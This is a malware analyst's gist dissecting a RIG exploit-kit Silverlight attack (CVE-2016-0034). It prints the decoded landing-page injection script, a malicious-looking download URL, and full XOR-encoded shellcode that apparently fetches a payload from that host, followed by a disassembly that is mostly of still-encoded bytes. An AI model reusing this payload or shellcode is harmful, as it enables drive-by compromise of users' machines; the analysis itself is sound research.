-
-
Save sammbertram/db73e58ba3638dd7537981219ec6f449 to your computer and use it in GitHub Desktop.
2016-0034 decoding parameters and shellcode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //RIG landing page contained two exploits, a flash one and this silverlight | |
| //junx. this is the decoded silverlight sploit. i needed to know how it used the vars | |
| a = "function hjkhjk(ghgh) {var payloaad_div = window.document.createElement('div');window.document.body.appendChild(payload_div);payload_div.innerHTML = ghgh;}function ghjdfg(){ghjghj=" < object | |
| data = 'data:application/x-silverlight-2,' | |
| type = 'application/x-silverlight-2' | |
| width = 10 | |
| height = 10 > < param | |
| name = 'source' | |
| value = 'http://df.indiasweetsandgrocery.com/index.php?xXmNd7GZLx3NCIc=l3SMfPrfJxzFG…dWn-MUUVMT4wNHlK2eBKqKp0N6RgBnEB_CbJQlqw-KAWf6PXl5gv2pHn4oieWX_PVynZYmmA' / > < param | |
| name = 'initParams' | |
| value = 'shell32=60eb1158b9d1040000498034081985c975f7ffe0e8eafffffff11f19191978f0dc1d191998f5c51919194a4c4f2ac24ea04b087652de5d3d016c6b7574de5d3d057677377d7fde5d3d39757591453d3bde5d3d3d787d6f78de5d3d3169702a2bde5d3d35377d757591453d29f1851a1919a00b7b3067905d3d4df1971a1919a0dae42868905d3d79f1991a1919a0728dc2e6905d3d7df16b1a191992e1a0bc01234390653d71f17b1a191992e9a034363f66906d3d6df14b1a1919a02f5a2f4f905d3d61f15d1a1919a0a5f832f3905d3d65f12f1a1919a0dd7cb054909d3d99191919f13c1a1919a0dacb1cfc909d3d9d191919f10d1a1919a0538dafd0909d3d91191919f11a1a1919a056f5ce4c909d3d95191919f1eb1b1919909d3d89191919945d3d0149e6cf945d3d3d49e6cfa09f8b3363f1ca1b1919a01ba9709d909d3d81191919f1db1b1919a033a4d3b8909d3d85191919f1a81b1919909d3db9191919f16e1a191992f190753d2d935ce5efc9915d3d0a90453d2190453d2590453d59731d7119091919711d1c19194ae6ce92e1937d3d0a92cc2aef9486191d191992d632ce931d132bdd91186d135f5898e7191d19196ff49cef169d3918191992de2ad09921196d01905d9521930999e3226d1e599dcb6cedf212df191959f21c9a7d952119589ae01a6bc192753d21935c1925286d11252b169cf8191919924d3d254ae66d3d5d94553d45f1c319191940409cd9169dbd191919935c192528169c89191919735d2acb44904d3d0d92d4949d3db1191919910959506ce3730940945d3d5d910959506ce3945d3d0d49719219191973e690b53dad191919e68d3dbd191919945d3d5d49949d3db5191919492ad9494949494949494ae66d3d25e68d3dd11919199a653d0d196d11e66d3d0de64d3d7d9a653d51196d11e66d3d51e64d3d7d9a653d5d196d0ae66d3d5de64d3d7df210252b6c1c4ae64d3d6192753d2d71199919192ac25c4a1af74e90753d59e64d3d6992653d71f0bbe7e6e64647444298ddc5191919da9af5094a4c4f4e731d7119091919711d18191992f392c02ae64e90753d3d90453d35e64a0d92e94f711d181919e64a21e66d3d314e4e4fe64a2571199919194e4fe64a094e4ee66d3d29e66d3d294ee64a559cd9169ca41919194e7199191919731a4e731871191919d9e66d3d59e64a3592e99ae7e6169d821919194e4fe64a29905d3d099cd9169d9f1919199cf46d66996419196d604ce60a731d7119091919e66d3d01905d3d3d4ee64a0d4e92f1945d3d0d49e66d3d014c4fe64a3d925d3d0992d69cd96d3192453d0d92ce22d16a03224d3d016a09931d03291d30925d3d095b5822d16bf322d16bf992453d054e4e4e4fe64a2d4e945d3d0d49e66d3d014c4fe64a3171199919194e4ce64a092ae65e4fe64a1592de464744429add09da9af5097db8291919194a9259154c4f9269154e924f0190553d019ccb169d941919192af4925b259267299245096192d490453d099cc26d73d8d014931e257816a7d9651a9ad8f99ade1b1ad17f20366cfe925d0a391adb9a650a011992e46f5b92c492311af39ad91d905d3d05935c19d8d21416a7d91ac15c935c199dd96ce990453d0d925d3d0d92453d091ad8225d3d016d3c925d3d055e73194422650a016ba7922f924f019ccb169c6ce6e6e62ad9464744429add09da925d0a3d941d6116ae1509925d0a05941d91921d091adbf2c6f119191919419ad913dadae6e6e6e628226f6e54525a6e6e5822716d6d692336367d7f3770777d70786a6e7c7c6d6a78777d7e6b767a7c6b60377a76743670777d7c613769716926614174577d2e5e4355612a575a507a24752a4a547f496b7f5361635f5e544a4c7b3477535d78205b545c415a4b485549712d4a5e71526b415a5334767f4a7071282e56505f61636a744d6c2b524f46566968616f7c57294a435f4a5663487f43494f48756043587d5a71765b4656687270296f51734c7751287a744820757851407e71492e437b5d5c2e722c737e6c74612e504d7a21712b615c525f2f5d7d4e7734544c4c4f544d2d6e575175522b7c5b5268526929572f4b7e5b775c5b465a7b534875686e347f5c5a4d2f4941752c7e6f2b6951772d76707c4e4146495b207453217474583f7d7f6a7d7f2428282c282b19191900000000' / > < / object > ";hjkhjk(ghjghj)}ghjdfg();" | |
| var shell32 = "\x60\xEB\x11\x58\xB9\xD1\x04\x00\x00\x49\x80\x34\x08\x19\x85\xC9\x75\xF7\xFF\xE0\xE8\xEA\xFF\xFF\xFF\xF1\x1F\x19\x19\x19\x78\xF0\xDC\x1D\x19\x19\x98\xF5\xC5\x19\x19\x19\x4A\x4C\x4F\x2A\xC2\x4E\xA0\x4B\x08\x76\x52\xDE\x5D\x3D\x01\x6C\x6B\x75\x74\xDE\x5D\x3D\x05\x76\x77\x37\x7D\x7F\xDE\x5D\x3D\x39\x75\x75\x91\x45\x3D\x3B\xDE\x5D\x3D\x3D\x78\x7D\x6F\x78\xDE\x5D\x3D\x31\x69\x70\x2A\x2B\xDE\x5D\x3D\x35\x37\x7D\x75\x75\x91\x45\x3D\x29\xF1\x85\x1A\x19\x19\xA0\x0B\x7B\x30\x67\x90\x5D\x3D\x4D\xF1\x97\x1A\x19\x19\xA0\xDA\xE4\x28\x68\x90\x5D\x3D\x79\xF1\x99\x1A\x19\x19\xA0\x72\x8D\xC2\xE6\x90\x5D\x3D\x7D\xF1\x6B\x1A\x19\x19\x92\xE1\xA0\xBC\x01\x23\x43\x90\x65\x3D\x71\xF1\x7B\x1A\x19\x19\x92\xE9\xA0\x34\x36\x3F\x66\x90\x6D\x3D\x6D\xF1\x4B\x1A\x19\x19\xA0\x2F\x5A\x2F\x4F\x90\x5D\x3D\x61\xF1\x5D\x1A\x19\x19\xA0\xA5\xF8\x32\xF3\x90\x5D\x3D\x65\xF1\x2F\x1A\x19\x19\xA0\xDD\x7C\xB0\x54\x90\x9D\x3D\x99\x19\x19\x19\xF1\x3C\x1A\x19\x19\xA0\xDA\xCB\x1C\xFC\x90\x9D\x3D\x9D\x19\x19\x19\xF1\x0D\x1A\x19\x19\xA0\x53\x8D\xAF\xD0\x90\x9D\x3D\x91\x19\x19\x19\xF1\x1A\x1A\x19\x19\xA0\x56\xF5\xCE\x4C\x90\x9D\x3D\x95\x19\x19\x19\xF1\xEB\x1B\x19\x19\x90\x9D\x3D\x89\x19\x19\x19\x94\x5D\x3D\x01\x49\xE6\xCF\x94\x5D\x3D\x3D\x49\xE6\xCF\xA0\x9F\x8B\x33\x63\xF1\xCA\x1B\x19\x19\xA0\x1B\xA9\x70\x9D\x90\x9D\x3D\x81\x19\x19\x19\xF1\xDB\x1B\x19\x19\xA0\x33\xA4\xD3\xB8\x90\x9D\x3D\x85\x19\x19\x19\xF1\xA8\x1B\x19\x19\x90\x9D\x3D\xB9\x19\x19\x19\xF1\x6E\x1A\x19\x19\x92\xF1\x90\x75\x3D\x2D\x93\x5C\xE5\xEF\xC9\x91\x5D\x3D\x0A\x90\x45\x3D\x21\x90\x45\x3D\x25\x90\x45\x3D\x59\x73\x1D\x71\x19\x09\x19\x19\x71\x1D\x1C\x19\x19\x4A\xE6\xCE\x92\xE1\x93\x7D\x3D\x0A\x92\xCC\x2A\xEF\x94\x86\x19\x1D\x19\x19\x92\xD6\x32\xCE\x93\x1D\x13\x2B\xDD\x91\x18\x6D\x13\x5F\x58\x98\xE7\x19\x1D\x19\x19\x6F\xF4\x9C\xEF\x16\x9D\x39\x18\x19\x19\x92\xDE\x2A\xD0\x99\x21\x19\x6D\x01\x90\x5D\x95\x21\x93\x09\x99\xE3\x22\x6D\x1E\x59\x9D\xCB\x6C\xED\xF2\x12\xDF\x19\x19\x59\xF2\x1C\x9A\x7D\x95\x21\x19\x58\x9A\xE0\x1A\x6B\xC1\x92\x75\x3D\x21\x93\x5C\x19\x25\x28\x6D\x11\x25\x2B\x16\x9C\xF8\x19\x19\x19\x92\x4D\x3D\x25\x4A\xE6\x6D\x3D\x5D\x94\x55\x3D\x45\xF1\xC3\x19\x19\x19\x40\x40\x9C\xD9\x16\x9D\xBD\x19\x19\x19\x93\x5C\x19\x25\x28\x16\x9C\x89\x19\x19\x19\x73\x5D\x2A\xCB\x44\x90\x4D\x3D\x0D\x92\xD4\x94\x9D\x3D\xB1\x19\x19\x19\x91\x09\x59\x50\x6C\xE3\x73\x09\x40\x94\x5D\x3D\x5D\x91\x09\x59\x50\x6C\xE3\x94\x5D\x3D\x0D\x49\x71\x92\x19\x19\x19\x73\xE6\x90\xB5\x3D\xAD\x19\x19\x19\xE6\x8D\x3D\xBD\x19\x19\x19\x94\x5D\x3D\x5D\x49\x94\x9D\x3D\xB5\x19\x19\x19\x49\x2A\xD9\x49\x49\x49\x49\x49\x49\x49\x4A\xE6\x6D\x3D\x25\xE6\x8D\x3D\xD1\x19\x19\x19\x65\xE6\x6D\x3D\x0D\xE6\x4D\x3D\x7D\x9A\x65\x3D\x51\x19\x6D\x11\xE6\x6D\x3D\x51\xE6\x4D\x3D\x7D\x9A\x65\x3D\x5D\x19\x6D\x0A\xE6\x6D\x3D\x5D\xE6\x4D\x3D\x7D\xF2\x10\x25\x2B\x6C\x1C\x4A\xE6\x4D\x3D\x61\x92\x75\x3D\x2D\x71\x19\x99\x19\x19\x2A\xC2\x5C\x4A\x1A\xF7\x4E\x90\x75\x3D\x59\xE6\x4D\x3D\x69\x92\x65\x3D\x71\xF0\xBB\xE7\xE6\xE6\x46\x47\x44\x42\x98\xDD\xC5\x19\x19\x19\xDA\xF5\x73\x1D\x71\x19\x09\x19\x19\x71\x1D\x18\x19\x19\x92\xF3\x92\xC0\x2A\xE6\x4E\x90\x75\x3D\x3D\x90\x45\x3D\x35\xE6\x4A\x0D\x92\xE9\x4F\x71\x1D\x18\x19\x19\xE6\x4A\x21\xE6\x6D\x3D\x31\x4E\x4E\x4F\xE6\x4A\x25\x71\x19\x99\x19\x19\x4E\x4F\xE6\x4A\x09\x4E\x4E\xE6\x6D\x3D\x29\xE6\x6D\x3D\x29\x4E\xE6\x4A\x55\x9C\xD9\x16\x9C\xA4\x19\x19\x19\x4E\x71\x99\x19\x19\x19\x73\x1A\x4E\x73\x18\x71\x19\x19\x19\xD9\xE6\x6D\x3D\x59\xE6\x4A\x35\x92\xE9\x9A\xE7\xE6\x16\x9D\x82\x19\x19\x19\x4E\x4F\xE6\x4A\x29\x90\x5D\x3D\x09\x9C\xD9\x16\x9D\x9F\x19\x19\x19\x9C\xF4\x6D\x66\x99\x64\x19\x19\x6D\x60\x4C\xE6\x0A\x73\x1D\x71\x19\x09\x19\x19\xE6\x6D\x3D\x01\x90\x5D\x3D\x3D\x4E\xE6\x4A\x0D\x4E\x92\xF1\x94\x5D\x3D\x0D\x49\xE6\x6D\x3D\x01\x4C\x4F\xE6\x4A\x3D\x92\x5D\x3D\x09\x92\xD6\x9C\xD9\x6D\x31\x92\x45\x3D\x0D\x92\xCE\x22\xD1\x6A\x03\x22\x4D\x3D\x01\x6A\x09\x93\x1D\x03\x29\x1D\x30\x92\x5D\x3D\x09\x5B\x58\x22\xD1\x6B\xF3\x22\xD1\x6B\xF9\x92\x45\x3D\x05\x4E\x4E\x4E\x4F\xE6\x4A\x2D\x4E\x94\x5D\x3D\x0D\x49\xE6\x6D\x3D\x01\x4C\x4F\xE6\x4A\x31\x71\x19\x99\x19\x19\x4E\x4C\xE6\x4A\x09\x2A\xE6\x5E\x4F\xE6\x4A\x15\x92\xDE\x46\x47\x44\x42\x9A\xDD\x09\xDA\x9A\xF5\x09\x7D\xB8\x29\x19\x19\x19\x4A\x92\x59\x15\x4C\x4F\x92\x69\x15\x4E\x92\x4F\x01\x90\x55\x3D\x01\x9C\xCB\x16\x9D\x94\x19\x19\x19\x2A\xF4\x92\x5B\x25\x92\x67\x29\x92\x45\x09\x61\x92\xD4\x90\x45\x3D\x09\x9C\xC2\x6D\x73\xD8\xD0\x14\x93\x1E\x25\x78\x16\xA7\xD9\x65\x1A\x9A\xD8\xF9\x9A\xDE\x1B\x1A\xD1\x7F\x20\x36\x6C\xFE\x92\x5D\x0A\x39\x1A\xDB\x9A\x65\x0A\x01\x19\x92\xE4\x6F\x5B\x92\xC4\x92\x31\x1A\xF3\x9A\xD9\x1D\x90\x5D\x3D\x05\x93\x5C\x19\xD8\xD2\x14\x16\xA7\xD9\x1A\xC1\x5C\x93\x5C\x19\x9D\xD9\x6C\xE9\x90\x45\x3D\x0D\x92\x5D\x3D\x0D\x92\x45\x3D\x09\x1A\xD8\x22\x5D\x3D\x01\x6D\x3C\x92\x5D\x3D\x05\x5E\x73\x19\x44\x22\x65\x0A\x01\x6B\xA7\x92\x2F\x92\x4F\x01\x9C\xCB\x16\x9C\x6C\xE6\xE6\xE6\x2A\xD9\x46\x47\x44\x42\xDD\x3D\x94\x1D\x61\x16\xAE\x15\x09\x92\x5D\x0A\x05\x94\x1D\x91\x92\x1D\x09\x1A\xDB\xF2\xC6\xF1\x19\x19\x19\x19\x41\x9A\xD9\x13\xDA\xDA\xE6\xE6\xE6\xE6\x28\x22\x6F\x6E\x54\x52\x5A\x6E\x6E\x58\x22\x71\x6D\x6D\x69\x23\x36\x36\x7D\x7F\x37\x70\x77\x7D\x70\x78\x6A\x6E\x7C\x7C\x6D\x6A\x78\x77\x7D\x7E\x6B\x76\x7A\x7C\x6B\x60\x37\x7A\x76\x74\x36\x70\x77\x7D\x7C\x61\x37\x69\x71\x69\x26\x61\x41\x74\x57\x7D\x2E\x5E\x43\x55\x61\x2A\x57\x5A\x50\x7A\x24\x75\x2A\x4A\x54\x7F\x49\x6B\x7F\x53\x61\x63\x5F\x5E\x54\x4A\x4C\x7B\x34\x77\x53\x5D\x78\x20\x5B\x54\x5C\x41\x5A\x4B\x48\x55\x49\x71\x2D\x4A\x5E\x71\x52\x6B\x41\x5A\x53\x34\x76\x7F\x4A\x70\x71\x28\x2E\x56\x50\x5F\x61\x63\x6A\x74\x4D\x6C\x2B\x52\x4F\x46\x56\x69\x68\x61\x6F\x7C\x57\x29\x4A\x43\x5F\x4A\x56\x63\x48\x7F\x43\x49\x4F\x48\x75\x60\x43\x58\x7D\x5A\x71\x76\x5B\x46\x56\x68\x72\x70\x29\x6F\x51\x73\x4C\x77\x51\x28\x7A\x74\x48\x20\x75\x78\x51\x40\x7E\x71\x49\x2E\x43\x7B\x5D\x5C\x2E\x72\x2C\x73\x7E\x6C\x74\x61\x2E\x50\x4D\x7A\x21\x71\x2B\x61\x5C\x52\x5F\x2F\x5D\x7D\x4E\x77\x34\x54\x4C\x4C\x4F\x54\x4D\x2D\x6E\x57\x51\x75\x52\x2B\x7C\x5B\x52\x68\x52\x69\x29\x57\x2F\x4B\x7E\x5B\x77\x5C\x5B\x46\x5A\x7B\x53\x48\x75\x68\x6E\x34\x7F\x5C\x5A\x4D\x2F\x49\x41\x75\x2C\x7E\x6F\x2B\x69\x51\x77\x2D\x76\x70\x7C\x4E\x41\x46\x49\x5B\x20\x74\x53\x21\x74\x74\x58\x3F\x7D\x7F\x6A\x7D\x7F\x24\x28\x28\x2C\x28\x2B\x19\x19\x19\x00\x00"; | |
| //put this directly into js console to see strings, the first bytes are \x60\xEB | |
| // so it's clear it's encoded. this varies from the angler sample in that they provide | |
| // the URL to download the shellcode from. disassembly looks like this | |
| Disassembly: | |
| 0: 60 pusha | |
| 1: eb 11 jmp 0x14 | |
| 3: 58 pop eax | |
| 4: b9 d1 04 00 00 mov ecx,0x4d1 | |
| 9: 49 dec ecx | |
| a: 80 34 08 19 xor BYTE PTR [eax+ecx*1],0x19 | |
| e: 85 c9 test ecx,ecx | |
| 10: 75 f7 jne 0x9 | |
| 12: ff e0 jmp eax | |
| 14: e8 ea ff ff ff call 0x3 | |
| 19: f1 icebp | |
| 1a: 1f pop ds | |
| 1b: 19 19 sbb DWORD PTR [ecx],ebx | |
| 1d: 19 78 f0 sbb DWORD PTR [eax-0x10],edi | |
| 20: dc 1d 19 19 98 f5 fcomp QWORD PTR ds:0xf5981919 | |
| 26: c5 19 lds ebx,FWORD PTR [ecx] | |
| 28: 19 19 sbb DWORD PTR [ecx],ebx | |
| 2a: 4a dec edx | |
| 2b: 4c dec esp | |
| 2c: 4f dec edi | |
| 2d: 2a c2 sub al,dl | |
| 2f: 4e dec esi | |
| 30: a0 4b 08 76 52 mov al,ds:0x5276084b | |
| 35: de 5d 3d ficomp WORD PTR [ebp+0x3d] | |
| 38: 01 6c 6b 75 add DWORD PTR [ebx+ebp*2+0x75],ebp | |
| 3c: 74 de je 0x1c | |
| 3e: 5d pop ebp | |
| 3f: 3d 05 76 77 37 cmp eax,0x37777605 | |
| 44: 7d 7f jge 0xc5 | |
| 46: de 5d 3d ficomp WORD PTR [ebp+0x3d] | |
| 49: 39 75 75 cmp DWORD PTR [ebp+0x75],esi | |
| 4c: 91 xchg ecx,eax | |
| 4d: 45 inc ebp | |
| 4e: 3d 3b de 5d 3d cmp eax,0x3d5dde3b | |
| 53: 3d 78 7d 6f 78 cmp eax,0x786f7d78 | |
| 58: de 5d 3d ficomp WORD PTR [ebp+0x3d] | |
| 5b: 31 69 70 xor DWORD PTR [ecx+0x70],ebp | |
| 5e: 2a 2b sub ch,BYTE PTR [ebx] | |
| 60: de 5d 3d ficomp WORD PTR [ebp+0x3d] | |
| 63: 35 37 7d 75 75 xor eax,0x75757d37 | |
| 68: 91 xchg ecx,eax | |
| 69: 45 inc ebp | |
| 6a: 3d 29 f1 85 1a cmp eax,0x1a85f129 | |
| 6f: 19 19 sbb DWORD PTR [ecx],ebx | |
| 71: a0 0b 7b 30 67 mov al,ds:0x67307b0b | |
| 76: 90 nop | |
| 77: 5d pop ebp | |
| 78: 3d 4d f1 97 1a cmp eax,0x1a97f14d | |
| 7d: 19 19 sbb DWORD PTR [ecx],ebx | |
| 7f: a0 da e4 28 68 mov al,ds:0x6828e4da | |
| 84: 90 nop | |
| 85: 5d pop ebp | |
| 86: 3d 79 f1 99 1a cmp eax,0x1a99f179 | |
| 8b: 19 19 sbb DWORD PTR [ecx],ebx | |
| 8d: a0 72 8d c2 e6 mov al,ds:0xe6c28d72 | |
| 92: 90 nop | |
| 93: 5d pop ebp | |
| 94: 3d 7d f1 6b 1a cmp eax,0x1a6bf17d | |
| 99: 19 19 sbb DWORD PTR [ecx],ebx | |
| 9b: 92 xchg edx,eax | |
| 9c: e1 a0 loope 0x3e | |
| 9e: bc 01 23 43 90 mov esp,0x90432301 | |
| a3: 65 3d 71 f1 7b 1a gs cmp eax,0x1a7bf171 | |
| a9: 19 19 sbb DWORD PTR [ecx],ebx | |
| ab: 92 xchg edx,eax | |
| ac: e9 a0 34 36 3f jmp 0x3f363551 | |
| b1: 66 90 xchg ax,ax | |
| b3: 6d ins DWORD PTR es:[edi],dx | |
| b4: 3d 6d f1 4b 1a cmp eax,0x1a4bf16d | |
| b9: 19 19 sbb DWORD PTR [ecx],ebx | |
| bb: a0 2f 5a 2f 4f mov al,ds:0x4f2f5a2f | |
| c0: 90 nop | |
| c1: 5d pop ebp | |
| c2: 3d 61 f1 5d 1a cmp eax,0x1a5df161 | |
| c7: 19 19 sbb DWORD PTR [ecx],ebx | |
| c9: a0 a5 f8 32 f3 mov al,ds:0xf332f8a5 | |
| ce: 90 nop | |
| cf: 5d pop ebp | |
| d0: 3d 65 f1 2f 1a cmp eax,0x1a2ff165 | |
| d5: 19 19 sbb DWORD PTR [ecx],ebx | |
| d7: a0 dd 7c b0 54 mov al,ds:0x54b07cdd | |
| dc: 90 nop | |
| dd: 9d popf | |
| de: 3d 99 19 19 19 cmp eax,0x19191999 | |
| e3: f1 icebp | |
| e4: 3c 1a cmp al,0x1a | |
| e6: 19 19 sbb DWORD PTR [ecx],ebx | |
| e8: a0 da cb 1c fc mov al,ds:0xfc1ccbda | |
| ed: 90 nop | |
| ee: 9d popf | |
| ef: 3d 9d 19 19 19 cmp eax,0x1919199d | |
| f4: f1 icebp | |
| f5: 0d 1a 19 19 a0 or eax,0xa019191a | |
| fa: 53 push ebx | |
| fb: 8d af d0 90 9d 3d lea ebp,[edi+0x3d9d90d0] | |
| 101: 91 xchg ecx,eax | |
| 102: 19 19 sbb DWORD PTR [ecx],ebx | |
| 104: 19 f1 sbb ecx,esi | |
| 106: 1a 1a sbb bl,BYTE PTR [edx] | |
| 108: 19 19 sbb DWORD PTR [ecx],ebx | |
| 10a: a0 56 f5 ce 4c mov al,ds:0x4ccef556 | |
| 10f: 90 nop | |
| 110: 9d popf | |
| 111: 3d 95 19 19 19 cmp eax,0x19191995 | |
| 116: f1 icebp | |
| 117: eb 1b jmp 0x134 | |
| 119: 19 19 sbb DWORD PTR [ecx],ebx | |
| 11b: 90 nop | |
| 11c: 9d popf | |
| 11d: 3d 89 19 19 19 cmp eax,0x19191989 | |
| 122: 94 xchg esp,eax | |
| 123: 5d pop ebp | |
| 124: 3d 01 49 e6 cf cmp eax,0xcfe64901 | |
| 129: 94 xchg esp,eax | |
| 12a: 5d pop ebp | |
| 12b: 3d 3d 49 e6 cf cmp eax,0xcfe6493d | |
| 130: a0 9f 8b 33 63 mov al,ds:0x63338b9f | |
| 135: f1 icebp | |
| 136: ca 1b 19 retf 0x191b | |
| 139: 19 a0 1b a9 70 9d sbb DWORD PTR [eax-0x628f56e5],esp | |
| 13f: 90 nop | |
| 140: 9d popf | |
| 141: 3d 81 19 19 19 cmp eax,0x19191981 | |
| 146: f1 icebp | |
| 147: db 1b fistp DWORD PTR [ebx] | |
| 149: 19 19 sbb DWORD PTR [ecx],ebx | |
| 14b: a0 33 a4 d3 b8 mov al,ds:0xb8d3a433 | |
| 150: 90 nop | |
| 151: 9d popf | |
| 152: 3d 85 19 19 19 cmp eax,0x19191985 | |
| 157: f1 icebp | |
| 158: a8 1b test al,0x1b | |
| 15a: 19 19 sbb DWORD PTR [ecx],ebx | |
| 15c: 90 nop | |
| 15d: 9d popf | |
| 15e: 3d b9 19 19 19 cmp eax,0x191919b9 | |
| 163: f1 icebp | |
| 164: 6e outs dx,BYTE PTR ds:[esi] | |
| 165: 1a 19 sbb bl,BYTE PTR [ecx] | |
| 167: 19 92 f1 90 75 3d sbb DWORD PTR [edx+0x3d7590f1],edx | |
| 16d: 2d 93 5c e5 ef sub eax,0xefe55c93 | |
| 172: c9 leave | |
| 173: 91 xchg ecx,eax | |
| 174: 5d pop ebp | |
| 175: 3d 0a 90 45 3d cmp eax,0x3d45900a | |
| 17a: 21 90 45 3d 25 90 and DWORD PTR [eax-0x6fdac2bb],edx | |
| 180: 45 inc ebp | |
| 181: 3d 59 73 1d 71 cmp eax,0x711d7359 | |
| 186: 19 09 sbb DWORD PTR [ecx],ecx | |
| 188: 19 19 sbb DWORD PTR [ecx],ebx | |
| 18a: 71 1d jno 0x1a9 | |
| 18c: 1c 19 sbb al,0x19 | |
| 18e: 19 4a e6 sbb DWORD PTR [edx-0x1a],ecx | |
| 191: ce into | |
| 192: 92 xchg edx,eax | |
| 193: e1 93 loope 0x128 | |
| 195: 7d 3d jge 0x1d4 | |
| 197: 0a 92 cc 2a ef 94 or dl,BYTE PTR [edx-0x6b10d534] | |
| 19d: 86 19 xchg BYTE PTR [ecx],bl | |
| 19f: 1d 19 19 92 d6 sbb eax,0xd6921919 | |
| 1a4: 32 ce xor cl,dh | |
| 1a6: 93 xchg ebx,eax | |
| 1a7: 1d 13 2b dd 91 sbb eax,0x91dd2b13 | |
| 1ac: 18 6d 13 sbb BYTE PTR [ebp+0x13],ch | |
| 1af: 5f pop edi | |
| 1b0: 58 pop eax | |
| 1b1: 98 cwde | |
| 1b2: e7 19 out 0x19,eax | |
| 1b4: 1d 19 19 6f f4 sbb eax,0xf46f1919 | |
| 1b9: 9c pushf | |
| 1ba: ef out dx,eax | |
| 1bb: 16 push ss | |
| 1bc: 9d popf | |
| 1bd: 39 18 cmp DWORD PTR [eax],ebx | |
| 1bf: 19 19 sbb DWORD PTR [ecx],ebx | |
| 1c1: 92 xchg edx,eax | |
| 1c2: de 2a fisubr WORD PTR [edx] | |
| 1c4: d0 99 21 19 6d 01 rcr BYTE PTR [ecx+0x16d1921],1 | |
| 1ca: 90 nop | |
| 1cb: 5d pop ebp | |
| 1cc: 95 xchg ebp,eax | |
| 1cd: 21 93 09 99 e3 22 and DWORD PTR [ebx+0x22e39909],edx | |
| 1d3: 6d ins DWORD PTR es:[edi],dx | |
| 1d4: 1e push ds | |
| 1d5: 59 pop ecx | |
| 1d6: 9d popf | |
| 1d7: cb retf | |
| 1d8: 6c ins BYTE PTR es:[edi],dx | |
| 1d9: ed in eax,dx | |
| 1da: f2 12 df repnz adc bl,bh | |
| 1dd: 19 19 sbb DWORD PTR [ecx],ebx | |
| 1df: 59 pop ecx | |
| 1e0: f2 1c 9a repnz sbb al,0x9a | |
| 1e3: 7d 95 jge 0x17a | |
| 1e5: 21 19 and DWORD PTR [ecx],ebx | |
| 1e7: 58 pop eax | |
| 1e8: 9a e0 1a 6b c1 92 75 call 0x7592:0xc16b1ae0 | |
| 1ef: 3d 21 93 5c 19 cmp eax,0x195c9321 | |
| 1f4: 25 28 6d 11 25 and eax,0x25116d28 | |
| 1f9: 2b 16 sub edx,DWORD PTR [esi] | |
| 1fb: 9c pushf | |
| 1fc: f8 clc | |
| 1fd: 19 19 sbb DWORD PTR [ecx],ebx | |
| 1ff: 19 92 4d 3d 25 4a sbb DWORD PTR [edx+0x4a253d4d],edx | |
| 205: e6 6d out 0x6d,al | |
| 207: 3d 5d 94 55 3d cmp eax,0x3d55945d | |
| 20c: 45 inc ebp | |
| 20d: f1 icebp | |
| 20e: c3 ret | |
| 20f: 19 19 sbb DWORD PTR [ecx],ebx | |
| 211: 19 40 40 sbb DWORD PTR [eax+0x40],eax | |
| 214: 9c pushf | |
| 215: d9 16 fst DWORD PTR [esi] | |
| 217: 9d popf | |
| 218: bd 19 19 19 93 mov ebp,0x93191919 | |
| 21d: 5c pop esp | |
| 21e: 19 25 28 16 9c 89 sbb DWORD PTR ds:0x899c1628,esp | |
| 224: 19 19 sbb DWORD PTR [ecx],ebx | |
| 226: 19 73 5d sbb DWORD PTR [ebx+0x5d],esi | |
| 229: 2a cb sub cl,bl | |
| 22b: 44 inc esp | |
| 22c: 90 nop | |
| 22d: 4d dec ebp | |
| 22e: 3d 0d 92 d4 94 cmp eax,0x94d4920d | |
| 233: 9d popf | |
| 234: 3d b1 19 19 19 cmp eax,0x191919b1 | |
| 239: 91 xchg ecx,eax | |
| 23a: 09 59 50 or DWORD PTR [ecx+0x50],ebx | |
| 23d: 6c ins BYTE PTR es:[edi],dx | |
| 23e: e3 73 jecxz 0x2b3 | |
| 240: 09 40 94 or DWORD PTR [eax-0x6c],eax | |
| 243: 5d pop ebp | |
| 244: 3d 5d 91 09 59 cmp eax,0x5909915d | |
| 249: 50 push eax | |
| 24a: 6c ins BYTE PTR es:[edi],dx | |
| 24b: e3 94 jecxz 0x1e1 | |
| 24d: 5d pop ebp | |
| 24e: 3d 0d 49 71 92 cmp eax,0x9271490d | |
| 253: 19 19 sbb DWORD PTR [ecx],ebx | |
| 255: 19 73 e6 sbb DWORD PTR [ebx-0x1a],esi | |
| 258: 90 nop | |
| 259: b5 3d mov ch,0x3d | |
| 25b: ad lods eax,DWORD PTR ds:[esi] | |
| 25c: 19 19 sbb DWORD PTR [ecx],ebx | |
| 25e: 19 e6 sbb esi,esp | |
| 260: 8d 3d bd 19 19 19 lea edi,ds:0x191919bd | |
| 266: 94 xchg esp,eax | |
| 267: 5d pop ebp | |
| 268: 3d 5d 49 94 9d cmp eax,0x9d94495d | |
| 26d: 3d b5 19 19 19 cmp eax,0x191919b5 | |
| 272: 49 dec ecx | |
| 273: 2a d9 sub bl,cl | |
| 275: 49 dec ecx | |
| 276: 49 dec ecx | |
| 277: 49 dec ecx | |
| 278: 49 dec ecx | |
| 279: 49 dec ecx | |
| 27a: 49 dec ecx | |
| 27b: 49 dec ecx | |
| 27c: 4a dec edx | |
| 27d: e6 6d out 0x6d,al | |
| 27f: 3d 25 e6 8d 3d cmp eax,0x3d8de625 | |
| 284: d1 19 rcr DWORD PTR [ecx],1 | |
| 286: 19 19 sbb DWORD PTR [ecx],ebx | |
| 288: 9a 65 3d 0d 19 6d 11 call 0x116d:0x190d3d65 | |
| 28f: e6 6d out 0x6d,al | |
| 291: 3d 0d e6 4d 3d cmp eax,0x3d4de60d | |
| 296: 7d 9a jge 0x232 | |
| 298: 65 3d 51 19 6d 11 gs cmp eax,0x116d1951 | |
| 29e: e6 6d out 0x6d,al | |
| 2a0: 3d 51 e6 4d 3d cmp eax,0x3d4de651 | |
| 2a5: 7d 9a jge 0x241 | |
| 2a7: 65 3d 5d 19 6d 0a gs cmp eax,0xa6d195d | |
| 2ad: e6 6d out 0x6d,al | |
| 2af: 3d 5d e6 4d 3d cmp eax,0x3d4de65d | |
| 2b4: 7d f2 jge 0x2a8 | |
| 2b6: 10 25 2b 6c 1c 4a adc BYTE PTR ds:0x4a1c6c2b,ah | |
| 2bc: e6 4d out 0x4d,al | |
| 2be: 3d 61 92 75 3d cmp eax,0x3d759261 | |
| 2c3: 2d 71 19 99 19 sub eax,0x19991971 | |
